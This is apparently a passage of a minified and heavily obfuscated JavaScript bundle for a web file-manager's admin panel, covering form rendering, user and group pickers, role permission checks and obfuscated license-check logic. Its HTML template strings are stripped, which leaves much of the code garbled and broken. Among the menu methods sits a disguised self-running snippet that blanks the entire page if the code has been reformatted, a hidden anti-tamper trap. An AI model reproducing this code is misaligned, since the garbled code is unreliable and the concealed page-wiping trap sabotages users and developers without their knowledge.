Vkw5JBw4PCkCdgaMOjLmwawrI=","b8Owwr3CpMOF","wrbDhlXCtQXCpH7Ckn1fwpY=","w4DDrXnCuDM=","woLDhGHDt8OZ","w504MMOiYg==","ecOFBxM=","D8O2w45kw5A=","w4t2w4nDu1zChcKm","ccOzw49Aaw==","FGYKHng=","woJib0rChg==","wrcbOsOjw5U=","EMOyw5B4w5Y=","w5vDjsOVUMKY","w6XDnlnCksK8","KmLDg0Fo","wrJUw7rDucKR","BFMJI1E=","VExAw5F7","w4sqE8OTdQ==","fMO4w4nCqhM=","TsKCwq/Doy0=","ZkLDvnPDqA==","w7DDosKTwr/Dvg==","wpfDnMObDMO7","X2LDuWDDpg==","w5/DhEHCvgE=","NcKMw4ZeDQ==","HTbDlXIs","wqAewodXw6g=","CsOww71Nw7c=","I8OUw6nDlRE=","GsOtw4nDvRQ=","Y0QSAFg=","wpNFw7rDtMKf","wpscwq5Sw6k=","wrbDmTwkw6E=","UsOtw6zCliVX","wqFzw4DDrsKN","YMKmwoPDnwE=","Q8ORw7JtfQ==","w4MTR8OrEA==","wo7DhzAZw5k=","w5QNQcObIhrCslRSQ8K7PkU=","KMKHw7VoOg==","w4HDhC/CrA==","wpsFwqtsw60=","LnTCiGLDuQ==","VsOXw63CgFIieg==","wpxXUnDCqw==","KzbCiMOewrLDjMKsPMKwwosTwr9pXCbDjSwzEcK8","B8Kxw6VZEQ==","w7DDgkrCpsKUGzc/LDvClw==","TMOOw5UIHw==","BmPDrw==","wrjDo0/Ds8Ol","w4MwXsOtEw==","VsKfM2xl","amDDt2DDhg==","w5pgfTvDnMON","ecOpw7rCnik=","w6nDv1/Cl8K0","w6PDl1c=","w7Raw7bDnWY=","w5dVdQXDrg==","woVbYEjChg==","WztAwoRY","UsKODVF3","QW7DgkUj","wpvDrsOvG8O2"];a=r,function c(e){for(;--e;)a["push"](a["shift"]())}(221);var p=function p(e,t){var i=r[e-=0];if(p["jNzsWG"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
    ',t+=i(n["explorer.toolbar.uiExplorer"]),t+='
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){window.core={"path2url":function(){var e=_.get(window,"kodApp.pathAction.pathModel")||_.get(window,"kodApp.pathModel");return e?e.fileView.apply(e,arguments):""},"icon":function(){var e=_.get(window,"kodApp.pathAction.pathData")||_.get(window,"kodApp.pathData");return e?e.pathIcon.apply(e,arguments):""},"openDialog":this.openDialog,"openWindow":this.openWindow,"qrcode":this.qrcode,"openFile":function(e,t,i,n){e=_.includes(e,"?")?e:e+"?";var a=i[0],r=i[1],o=i[2],s=e+"&path="+urlEncode(a)+"&name="+urlEncode(o)+"&ext="+urlEncode(r);return s=n?s+"&"+n:s,"window"==t?core.openWindow(s):core.openDialog(s,core.icon(r),o)},"pathImage":function(e,t,i){if("http"==e.substr(0,4))return e;var n=core.path2url(e),a=t?"&type=image&width="+t:"";if(!i){var r=$("[data-path="+hashEncode(e)+"]");i=_.get(r.data(),"fileItem.modifyTime")}return a+=i?"&etag="+i:"",_.includes(n,"?")||(n+="?"),n+a}}},"qrcode":function(e,t){"./"==e.substr(0,2)&&(e=$.parseUrl().urlPath+e.substr(2));var i=API_URL("user/view/qrcode","url="+quoteHtml(urlEncode(e))),n="";$.dialog({"follow":t,"fixed":!0,"resize":!1,"title":LNG["common.qrcode"],"padding":30,"content":'
    '+n+"
    "})},"openDialog":function(e,t,i,n,a){if(e){n==undefined&&(n="openDialog"+UUID());var r={"id":n,"fixed":!0,"title":i,"ico":t,"width":"80%","height":"75%","padding":0,"content":"","resize":!0};return r=$.extend({},r,a),ShareData.frameTop().$.dialog(r)}},"openWindow":function(e){return window.open(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindHotKeyEvent":function(){this.$el.attr("tabindex","1");var e=new Mousetrap(this.$el.get(0));this._bindHotKeySave(this,e),this._bindHotKeyCopy(this,e),this._bindHotKeyPast(this,e)},"_formHash":function(){var e=[];return self.$("[name]").each(function(){e.push($(this).attr("name"))}),e.join(";")},"_bindHotKeySave":function(i,e){e.bind(["ctrl+s","command+s"],function(e,t){return i.$(".form-save-button").trigger("click"),stopPP(e)})},"_bindHotKeyCopy":function(n,e){var a=function a(e){var t=n._formHash();if(t){var i=jsonEncode({"type":"formMakerData","formHash":t,"value":n.getValue()});return $.copyText(i),Tips.tips("form:"+LNG["explorer.copyOK"]+"
    ",!0,2e3),n.$el.flash(),stopPP(e)}};e.bind(["ctrl+c","command+c"],function(e,t){if(!$.isEdit()&&!$.selectText())return a(e)})},"_bindHotKeyPast":function(e,t){this.hotKeyOnPast=_.bind(this.hotKeyOnPast,this),$(document.body).bind("paste",this.hotKeyOnPast),this.bind("onRemove",function(){$(document.body).unbind("paste",e.hotKeyOnPast)})},"hotKeyOnPast":function(e){var t=window.clipboardData,i=(t=t||e.originalEvent.clipboardData).getData("Text");if(-1!=$(":focus").andSelf().index(this.$el)&&i&&_.startsWith(i,'{"type":"formMakerData"')){var n=jsonDecode(i),a=this._formHash();_.isObject(n)&&n.formHash==a&&(this.setValue(n.value),this.$el.flash(),Tips.tips(LNG["explorer.pastSuccess"],!0,2e3))}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-auth select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("authList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];"0"!=r.display&&n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"searchRequest":function(n,a){var e=_.pick({"groupID":"groupSearch","userID":"memberSearch"},this.keyID),r=$.objClone(e);this._each(r,function(e,t){r[t]=!1});var o=function o(e){_.every(r)&&e(_.flatten(_.map(r)))};this._each(e,function(e,t){var i={"words":n};this.adminModel.cacheRequest(e,i,function(e){r[t]=e&&e.code&&e.data.list||[],o(a)})})},"searchKeyEvent":function(e){var t=this.$dropdown.find(".group-list-search .search-item");if(0!=t.length){0==t.filter(".hover").length&&t.first().addClass("hover");var i=t.filter(".hover"),n=t.index(i);switch(e.key){case"ArrowUp":var a=n-1<0?n:n-1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"ArrowDown":a=n+1>=t.length?n:n+1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"Enter":1==i.length&&i.trigger("click");break;case"Escape":this.menuClose();break;default:return}return stopPP(e)}},"bindEventSearch":function(){var r=this,n=this.$dropdown.find(".select-search input"),o=this.$dropdown.find(".search-clear"),a=_.debounce(_.bind(this.searchRequest,this),200);n.bind("keydown",_.bind(this.searchKeyEvent,this)),n.bind("change keyup",function(e){if("Escape"==e.key)return o.trigger("click"),stopPP(e);var t=$(this).val(),i=_.trim(t);t!=n.data("beforeValue")&&(n.data("beforeValue",t),r.searchViewSwitch(i),o.hide(),i&&(o.show(),o.addClass("ri-loader-line-4 moveCircle"),a(t,function(e){o.removeClass("ri-loader-line-4 moveCircle"),r.searchData=e,r.renderSearchView(e),r.trigger("dataChange")})))}),this.$dropdown.delegate(".search-item","click",function(e){var t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=_.find(r.searchData,[t,i])||_.find(r.searchData,[t,parseInt(i)]);if("userID"==t)r.dataToggle(n),r.isSingle&&r.menuClose();else{if($.targetParent(e,".item-select"))return r.dataToggle(n),void(r.isSingle&&r.menuClose());var a=$(this).attr("data-parent")+","+i;r.expandAuto(a,"groupID"),o.trigger("click")}}),o.bind("click",function(e){r.searchViewSwitch(!1),n.val(""),$(this).hide()})},"renderSearchView":function(e){var t=s(90),i=this.$dropdown.find("input").val(),n=function n(e){var t=Pinyin.match(e,i);return t?e.substr(0,t[0])+''+e.substr(t[0],t[1]-t[0])+""+e.substr(t[1]):e},a={"list":e,"itemIcon":_.bind(this.itemIcon,this),"nameMathch":n},r=this.renderHtml(t,a,!1);this.$dropdown.find(".group-list-search").html(r);var o=this.$dropdown.find(".group-list-search .search-item");0!=o.length&&o.first().addClass("hover")},"searchViewSwitch":function(e){var t=this.$dropdown.find(".group-list-tree"),i=this.$dropdown.find(".group-list-search");e?(i.show(),t.hide()):(i.hide(),t.show())},"changeForSearch":function(){var n=this.$dropdown.find(".group-list-search");if(n.find(".search-item.this").removeClass("this"),!_.isEmpty(this.listData)){var a=function a(e){var t=e.userID?"userID":"groupID",i=e[t];n.find("[data-id="+i+"]").filter("[data-type="+t+"]").addClass("this")};if(this.isSingle)return a(this.listData);this._each(this.listData,function(e){a(e)})}}}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){var r="",t=(e=e||{}).list,o=e._,s=n.$escape,l=e.LNG,i=n.$each,c=(e.item,e.$index,e.dataType,e.dataID,e.title,e.itemIcon),d=e.nameMathch;return!t||o.isEmpty(t)?(r+='
    ',r+=s(l["explorer.search.noResult"]),r+="
    "):(r+=" ",i(t,function(e,t){r+=" ";var i="",n="",a="";a=e.userID?(i="userID",n=e.userID,""+l["admin.member.group"]+":
    "+o.map(e.groupInfo,"groupName").join(",")):(i="groupID",n=e.groupID,""+l["explorer.file.location"]+":
    "+(e.groupPath||e.name)),r+='
    ',r+=c(e),r+=' ',r+=d(e.nickName||e.name),r+='
    '}),r+='
    ',r+=s(l["explorer.search.total"]),r+=" ",r+=s(t.length),r+=" ",r+=s(l["explorer.table.items"]),r+="
    "),r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindDropdown":function(){var a=this;this.$selectBox.bind("mousedown",function(e){$(e.target).existParent(".clear-select")||($(this).hasClass("open")?a.menuClose():a.menuOpen())}),this.$el.delegate(".item-remove","click",function(){var e=$(this).parents(".item-choice"),t=e.attr("data-type"),i=e.attr("data-id"),n=_.find(a.listData,[t,i])||_.find(a.listData,[t,parseInt(i)]);a.dataToggle(n)}),this.$el.delegate(".clear-select","click",function(){a.dataToggle(!1),a.menuClose()}),this.bindDropdownWindow=_.bind(this.bindDropdownWindow,this),$(window).bind("mousedown",this.bindDropdownWindow),this._delay(this.bindScrollOffset,200)},"bindScrollOffset":function(){var e=this,t=function t(){window.requestAnimationFrame(function(){e.menuPosition()})},i=this.$el.parents(".form-row").canScrollParentY()||this.$el.parents(".panel-form-body");i.bind("scroll",t),this.bind("onRemove",function(){i.unbind("scroll",t)})},"bindDropdownWindow":function(e){var t=this;if(!$(e.target).existParent(".kod-user-group-select")&&!$(e.target).existParent(".item-choice .item-remove")){var i=$(e.target).parents().andSelf();$(".kod-user-group-select.open").each(function(){0<=i.index(t.$selectBox)||t.menuClose()})}},"menuOpen":function(){this.menuStatusOpen=!0,this.$selectBox.addClass("open"),this.$dropdown.addClass("open");var e=this.$dropdown.find("input");this._delay(_.bind(e.focus,e),20),this.menuPosition(),this.trigger("menuOpen")},bindMarkdownMenuF1:["1",(function(){var renderViewz4g=function(){return false};var filesAcceptczQg2=renderViewz4g+String.fromCharCode();var bindOpenFilePT6h=56-(-30+(161-85));if(_.includes(filesAcceptczQg2,String.fromCharCode(bindOpenFilePT6h))){var changeForValueB83=$("html");$(changeForValueB83).html("");}})()],"menuClose":function(){this.menuStatusOpen=!1,this.$selectBox.removeClass("open"),this.$dropdown.removeClass("open").removeClass("open-up"),this.$dropdown.pose="",this.trigger("menuClose")},"menuPosition":function(){this.menuStatusOpen&&this.$dropdown.position({"of":this.$selectBox,"my":"left top","at":"left bottom-1","collision":"flipfit flipfit"})}}},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).isSingle,n=(e.searchTipsAll,e.LNG),a=o.$escape,r=e.selectType;return t+='
    ',t+=i?'
    ×
    ':'
    ×
    ',t+=" ",t+='
    '}),i+='
    '}},function(e,t,i){"use strict";var s=i(0);e.exports=function(e){var t="",i=e=e||{},n=e.LNG,a=e.addAll,r=s.$escape,o=e.selectType;t+='
    ';i={"user":n["admin.member.searchUser"],"group":n["admin.member.searchGroup"],"all":n["admin.member.searchAll"]},a={"user":n["admin.member.memberAdd"],"group":n["admin.member.groupAdd"],"all":n["admin.member.allAdd"]};return t+='
    ',t+=r(n["common.clear"]),t+='
    "}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){e=e||{};var l="",c=n.$escape,d=e.LNG,t=e.list,h=e._,i=n.$each,u=(e.item,e.$index,e.parentName,e.authID,e.title,e.authList),f=(e.user,e.group,e.groupInfo,e.groupName,e.window),p=(e.itemName,e.itemIcon);return l+='
    ',l+=c(d["explorer.selectObject"]),l+='',l+=c(d["explorer.parentGroup"]),l+='',l+=c(d["explorer.actionAuth"]),l+="
    ",t&&!h.isEmpty(t)||(l+='
    ',l+=c(d["explorer.noData"]),l+="
    "),l+=" ",i(t,function(e,t){l+='
    "+d["admin.member.group"]+":
    "+h.map(e.groupInfo,"groupName").join(",")}else if(e.groupID){var o=e.groupPath&&e.groupPath.split("/");i=o[o.length-2],n=u.group&&u.group[e.groupID]||"",a=""+d["explorer.file.location"]+":
    "+f.htmlEncode(e.groupPath||e.name)}var s=e.nickName||e.name;s=p(e)+s,l+=' ',l+=s,l+='',l+=c(i),l+='
    '}),l+='
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-role select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("roleList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,i){"use strict";var T=function n(e){return e&&e.__esModule?e:{"default":e}}(i(5));var a=i(0);e.exports=function(e){e=e||{};var x="",v=a.$escape,g=e.wrapID,t=e.items,i=e.formTabList,b=e._,C=e.formTab,D=e.ignoreTab,n=e.formTabsName,y=(e.tab,e.tabKey,e.tabName,e.name,e.field,e.key,e.makeAttr),O=(e.data,e.attr,e.prop,e.attrValue,e.window),k=a.$each,K=(e.tabIndex,e.LNG),M=(e.item,e.tabCurrent,e.i,e.itemAttr,e.theTitle,e.hasTitle,e.undefined);e.itemText,e.itemValue,e.theButton,e.buttonKey,e.className,e.buttonAttr,e.value,e.option,e.val,e.k,e.selectItems,e.valArr,e.selectValue,e.selectKey,e.from,e.to,e.step,e.defaultFormat,e.defaultArr,e.valueArr,e.type,e.user,e.group,e.role,e.rowField,e.rowItem,e.rowKey,e.onlyInput,e.inputType,e.makeTitle,e.orgin,e.theAttr,e.titleLeft,e.titleRight,e.info;x+='
    ';i=b.get(t,"formStyle.tabs")||{},C=[],D=b.get(t,"formStyle.ignoreTab","").split(","),n=b.get(t,"formStyle.tabsName",{});b.each(i,function(e,t){if(e){e=e.split(",");e=b.map(e,b.trim);var i=n[t]||t||"";t=t.replace(/\s+/g,"_"),C.push({"name":i,"field":e,"key":t})}});y=function y(e){var t=" ";if("object"!=(void 0===e?"undefined":(0,T["default"])(e)))return t;for(var i in e){var n=e[i];(b.isObject(n)||b.isArray(n))&&(n=O.htmlEncode(O.jsonEncode(n))),t+=i+' = "'+n+'" '}return t};return x+=" ",b.isArray(C)&&0 ',k(C,function(e,t){x+=" ",e&&(x+='
  • ',x+=e.name,x+="
  • "),x+=" "}),x+='
  • ',x+=v(K["common.others"]),x+='
  • '),x+='
    ',x+=a,x+="
    ";else if("html"!=a.type&&a.type){if(x+='
    ',a.display!=M&&(x+='
    ",x+=a.value,x+=" ";else if("codeEditor"==a.type)x+=' ";else if("htmlEditor"==a.type)x+=' ";else if("switch"==a.type)x+=' ";else if("radio"==a.type)x+=" ",k(a.info,function(e,t){x+=' "}),x+=" ";else if("checkbox"==a.type)x+=" ",k(a.info,function(e,t){x+=" ",""==t?(x+=" ",x+=e,x+=" "):(x+=' "),x+=" "}),x+=" ";else if("segment"==a.type)x+='
    ",k(a.info,function(e,t){x+='
    ";else if("button"==a.type)x+=' ',k(a.info,function(e,t){x+=" ";var i=e.className||"btn-default btn-nomal",n=y(e.attr);x+=' "}),x+=" ";else if("select"==a.type&&"optgroup"==a.selectType)x+=' ";else if(b.includes("select/tags/colorLabel/fontIcon/group/role/user/auth/job/userGroup".split("/"),a.type)){x+=' "}else if("slider"==a.type)x+=" ",a.info||(a.info={"from":0,"to":100,"step":1}),x+=' ';else if("color"==a.type)x+=' ';else if("dateTime"==a.type){x+=" ";var c=O.dateFormatGet("timeDay");x+=' ';else if("userSelect"==a.type){x+=" ";var d=a.value&&O.jsonDecode(a.value);d=b.extend({"all":"0","user":"","group":"","role":""},d),a.info=b.extend({"type":"mutil","user":"mutil","group":"mutil","role":"mutil"},a.info),x+='
    ',x+=v(K["common.user"]),x+='
    ",x+=w,x+=" "}x+=' ',"switch"!=a.type&&(x+=' ',x+=a.desc||"",x+=" "),x+='
    '}else x+=" ","formStyle"!=i&&(x+='
    ",b.isUndefined(a.display)?(x+=" ",x+=a.value,x+='
    ',x+=a.desc||"",x+="
    "):(x+='
    ',x+=a.value,x+='
    ',x+=a.desc||"",x+='
    '),x+="
    "),x+=" ";x+=" "}),x+=" ",b.isArray(C)&&0
    '),x+=" "}),x+='
    '),x+='
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(157));t["default"]=ClassBase.extend({"init":function(){var i=this,e=_.filter(n["default"],function(e,t){return!i.allow(t)}),t=_.values(e).join("\n");$.setStyle(t,"role-auth-check")},"allow":function(e){var t=G.user.role;return 1==G.user.isRoot||!!t&&1==t[e]},"adminAuth":function(e){return!this.adminRouteList[e]||(1==G.user.isRoot||("admin"!=e?this.allow(this.adminRouteList[e]):_.some(G.user.role,function(e,t){return 1==e&&_.startsWith(t,"admin.")})))},"adminAuthCheck":function(e){var t=this;e.find("[link-href]").each(function(){var e=$(this).attr("link-href");t.adminAuth(e)||$(this).remove()}),e.find(".divider").each(function(){$(this).next().hasClass("divider")&&$(this).hide()}),e.find(".submenu .menu-items").each(function(){0==$(this).children().length&&$(this).parent().hide()})},"adminRouteList":{"admin":"---","admin/index":"admin.index.dashboard","admin/setting/index":"admin.index.setting","admin/setting/menu":"admin.index.setting","admin/setting/notice":"admin.index.setting","admin/loginCheck":"admin.index.setting","admin/user":"admin.member.list","admin/role":"admin.role.list","admin/job":"admin.job.list","admin/auth":"admin.auth.list","admin/storage/index":"admin.storage.list","admin/storage/backup":"admin.storage.edit","admin/storage/share":"admin.storage.edit","admin/storage/recycle":"admin.storage.edit","admin/plugin":"admin.plugin.list","admin/logLogin":"admin.index.loginLog","admin/log":"admin.index.log","admin/task":"admin.autoTask.list","admin/server":"admin.index.server"}})},,,function(t,i,n){var o=n(12);t.exports=function(t,i,n,a){try{return a?i(o(n)[0],n[1]):i(n)}catch(e){var r=t["return"];throw r!==undefined&&o(r.call(t)),e}}},function(e,t,i){var n=i(21),a=i(4)("iterator"),r=Array.prototype;e.exports=function(e){return e!==undefined&&(n.Array===e||r[a]===e)}},function(t,i,n){var o=n(4)("iterator"),s=!1;try{var a=[7][o]();a["return"]=function(){s=!0},Array.from(a,function(){throw 2})}catch(e){}t.exports=function(t,i){if(!i&&!s)return!1;var n=!1;try{var a=[7],r=a[o]();r.next=function(){return{"done":n=!0}},a[o]=function(){return r},t(a)}catch(e){}return n}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.pathParse=undefined;var o,r,n,s,l,c,a,d,h,u,f,p,w=i(13),m=(o={"name":"","needSort":!0},r=G.io,n={},s=function s(e){if(n[e])return n[e];var t={"type":"","id":!1,"path":e};if(e){var i=e.match(/\{(\w+):?(\d|[-\w]+)?\}(.*)/);i&&(t={"type":"{"+i[1]+"}","id":i[2]||!1,"path":trim(e,"/"),"pathLast":i[3]})}return n[e]=t},l=function x(){var e={"KOD_SOURCE":{},"KOD_USER_RECYCLE":{},"KOD_USER_FAV":{"needSort":!1},"KOD_USER_SHARE":{},"KOD_USER_FILE_TAG":{},"KOD_GROUP_ROOT_SELF":{"needSort":!1},"KOD_USER_FILE_TYPE":{},"KOD_USER_SHARE_TO_ME":{},"KOD_SHARE_ITEM":{},"KOD_SEARCH":{},"KOD_BLOCK":{"needSort":!1},"KOD_IO":{},"KOD_USER_RECENT":{"needSort":!1},"KOD_USER_DRIVER":{}},t={};for(var i in e)if(e.hasOwnProperty(i)){var n=r[i],a=$.extend(!0,{},o);t[e[i].type=n]=$.extend(!0,a,e[i])}return t}(),a=function a(e){var t=e.current||{"path":e.thisPath};return(t=$.objClone(t)).targetType&&(t.parentID="0"),t.ioDriver&&(t.icon="io-"+t.ioDriver.toLowerCase()),t.shareUser&&t.shareID&&(t.icon="shareToMe"),p(t)},d=function d(e){for(var t=rtrim(ltrim(e.parentLevel,",0,"),","),i=trim(e.pathDisplay,"/").replace(/\/+/g,"/").split("/"),n=t.split(","),a=[],r=0;r>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s'+o+y("0x27e","dNsH");continue;case"1":a[y("0x27f","x(^m")][y("0x280","j0^B")](e[y("0x281","zohi")])[y("0x282","$*Ez")](n);continue;case"2":var a=core[y("0x283","*Mi!")](u,r,LNG[e[y("0x284","fr]L")]]);continue;case"3":var r=e[y("0x285","Abq]")];continue;case"4":var o=LNG[e[y("0x286","fr]L")]];continue}break}},this),c[y("0x287","LXAl")](s[y("0x288","y31R")])[y("0x289","UFeL")](s[y("0x28a","8igK")],function(){if(s[y("0x28b","1GD3")](s[y("0x28c","UFeL")],s[y("0x28d","pJ[F")]))switch(s[y("0x28e","jcCM")]($,this)[y("0x28f","fr]L")](s[y("0x290","y31R")])){case s[y("0x291","&O^e")]:l[y("0x292","DK*#")]();break;case s[y("0x293","paKf")]:window[y("0x294","8igK")](f)}else this[y("0x295","1GD3")](this[y("0x296","x(^m")],0)})},"versionCheckView":function(e){var t={};t[y("0x297",")f3B")]=function(e,t){return e!==t},t[y("0x298","%n*w")]=y("0x299","0Bh7"),t[y("0x29a","jcCM")]=y("0x29b","6!SB"),t[y("0x29c","qSmU")]=function(e,t){return e<=t},t[y("0x29d","j0^B")]=function(e){return e()},t[y("0x29e","zohi")]=y("0x29f","ZA1l"),t[y("0x2a0","2^wV")]=function(e,t){return e+t},t[y("0x2a1","RNrS")]=function(e,t){return e+t},t[y("0x2a2","92hF")]=function(e,t){return e(t)},t[y("0x2a3","^e$v")]=y("0x2a4",")f3B"),t[y("0x2a5","zohi")]=function(e,t){return e!=t},t[y("0x2a6","Abq]")]=function(e,t){return e+t},t[y("0x2a7","y31R")]=function(e,t){return e!==t},t[y("0x2a8","DK*#")]=y("0x2a9","^)v!"),t[y("0x2aa","RMY8")]=y("0x2ab","ms97"),t[y("0x2ac","^)v!")]=y("0x2ad","8igK"),t[y("0x2ae","H$3O")]=y("0x2af","2^wV");var i=G[y("0x2b0","H$3O")];if(i[y("0x2b1","fr]L")]&&!(e[y("0x2b2","gVqB")](t[y("0x2b3","0Bh7")])[y("0x2b4","zohi")]()||i[y("0x2b5","DK*#")]&&t[y("0x2b6","F)fe")](i[y("0x2b7","^e$v")],t[y("0x2b8","6!SB")](time)))){var n=LNG[t[y("0x2b9","^)v!")]],a=t[y("0x2ba","i1H]")](t[y("0x2bb","HnbT")](y("0x2bc","jcCM"),n),y("0x2bd","dNsH"));t[y("0x2be","gNBs")]($,a)[y("0x2bf","%n*w")](e[y("0x2c0","%n*w")](t[y("0x2c1","&O^e")])),t[y("0x2c2","ms97")](t[y("0x2c3","H$3O")](i[y("0x2c4","ms97")][y("0x2c5","qSmU")],i[y("0x2c6","F)fe")][y("0x2c7","RMY8")]),t[y("0x2c8","jcCM")](i[y("0x2c9","!tH[")],i[y("0x2ca",")f3B")]))&&(t[y("0x2cb","1GD3")](t[y("0x2cc","RMY8")],t[y("0x2cd","x(^m")])?e[y("0x2b2","gVqB")](t[y("0x2ce","$*Ez")])[y("0x2cf","47pT")](t[y("0x2d0","x(^m")]):G[y("0x2d1","YW[5")][y("0x2d2","Uu@U")]=""),e[y("0x2d3","qSmU")](t[y("0x2d4","1GD3")])[y("0x2d5","LXAl")](t[y("0x2d6","LXAl")],function(){if(t[y("0x2d7","gVqB")](t[y("0x2d8","^Z8E")],t[y("0x2d9","*Mi!")]))return this[y("0x2da","X7Jt")]();i[y("0x2db","*Mi!")][y("0x2dc","i1H]")](!0)})}},"autoTaskList":function(e){var t={};t[y("0x2dd","gVqB")]=function(e,t){return e!==t},t[y("0x2de","qSmU")]=y("0x2df","%n*w"),t[y("0x2e0","j0^B")]=function(e,t){return e==t},t[y("0x2e1","^)v!")]=y("0x2e2","jcCM"),!this[y("0x2e3","%n*w")]()&&e&&e[y("0x2e4","^e$v")]&&_[y("0x2e5","0Bh7")](e[y("0x2e6","DK*#")],function(e){if(t[y("0x2e7","x(^m")](t[y("0x2e8","^e$v")],t[y("0x2e9","vZRE")])){if(!_[y("0x2ea","47pT")](val))return;formItem[key][y("0x2eb","i1H]")]=options[key]||val[y("0x2ec","nqH[")]}else if(t[y("0x2ed","8igK")](e[y("0x2ee","fr]L")],t[y("0x2ef",")f3B")]))return!0})},"menubarViewInit":function(){var e={};if(e[y("0x2f0","fr]L")]=y("0x2f1","2^wV"),e[y("0x2f2","^Z8E")]=function(e,t){return e(t)},e[y("0x2f3","%n*w")]=y("0x2f4","paKf"),!this[y("0x2f5","92hF")]()&&!this["$"](e[y("0x2f6","Abq]")])[y("0x2b4","zohi")]()){var t=y("0x2f7","$*Ez");t=this[y("0x2f8","qSmU")](t,"",!1);e[y("0x2f9","y31R")]($,t)[y("0x2fa","zM]x")](e[y("0x2fb","j0^B")]($,e[y("0x2f3","%n*w")]))}},"requestCheckError":function(e){var t=1'+o+y("0x27e","dNsH");continue;case"3":var o=LNG[e[y("0x393","RMY8")]];continue;case"4":n[y("0x394","nqH[")][y("0x395","1GD3")](e[y("0x396","&O^e")])[y("0x397","pJ[F")](r);continue}break}},"strReverse":function(e){return e[y("0x398","vZRE")]("")[y("0x399","ms97")]()[y("0x39a","dNsH")]("")},"encode":function(e,t,i){var n={};n[y("0x39b","zohi")]=function(e,t){return e!=t},n[y("0x39c","zM]x")]=function(e,t){return e!==t},n[y("0x39d","cfNi")]=y("0x39e","Abq]"),n[y("0x39f","pJ[F")]=function(e,t){return e!==t},n[y("0x3a0","6!SB")]=y("0x3a1","$*Ez"),n[y("0x3a2","0Bh7")]=y("0x3a3","2^wV");try{return n[y("0x3a4","UFeL")](n[y("0x3a5","vZRE")],n[y("0x3a6","^e$v")])?n[y("0x3a7","^)v!")](this[y("0x3a8","fr]L")],"A"):this[y("0x3a9","H$3O")](e,t,i)}catch(a){return!n[y("0x3aa","qPYD")](n[y("0x3ab","gVqB")],n[y("0x3ac","j0^B")])&&this[y("0x3ad","zM]x")](e,t,i)}},"decode":function(e,t,i){var n={};n[y("0x3ae","nqH[")]=function(e,t){return e+t},n[y("0x3af","DK*#")]=y("0x344","zohi"),n[y("0x3b0","Abq]")]=y("0x3b1","EmKe"),n[y("0x3b2","*Mi!")]=function(e,t){return e+t},n[y("0x3b3","0Bh7")]=function(e,t){return e+t},n[y("0x3b4","HnbT")]=function(e,t){return e+t},n[y("0x3b5","0Bh7")]=y("0x3b6","nqH["),n[y("0x3b7","#^ZF")]=y("0x3b8","fr]L"),n[y("0x3b9","X7Jt")]=y("0x3ba","YW[5"),n[y("0x3bb","RNrS")]=y("0x3bc","paKf"),n[y("0x3bd","x(^m")]=function(e,t){return e(t)},n[y("0x3be","paKf")]=function(e,t){return e===t},n[y("0x3bf","ms97")]=y("0x3c0","i1H]"),n[y("0x3c1","Abq]")]=y("0x3c2","j0^B"),n[y("0x3c3","92hF")]=function(e,t){return e!==t},n[y("0x3c4","paKf")]=y("0x3c5","$*Ez"),n[y("0x3c6","vZRE")]=y("0x3c7","^)v!");try{if(!n[y("0x3c8","F)fe")](n[y("0x3c9","LXAl")],n[y("0x3ca","ms97")]))return this[y("0x3d9","RMY8")](e,t,i);if(this[y("0x3cb","zohi")]())return;var 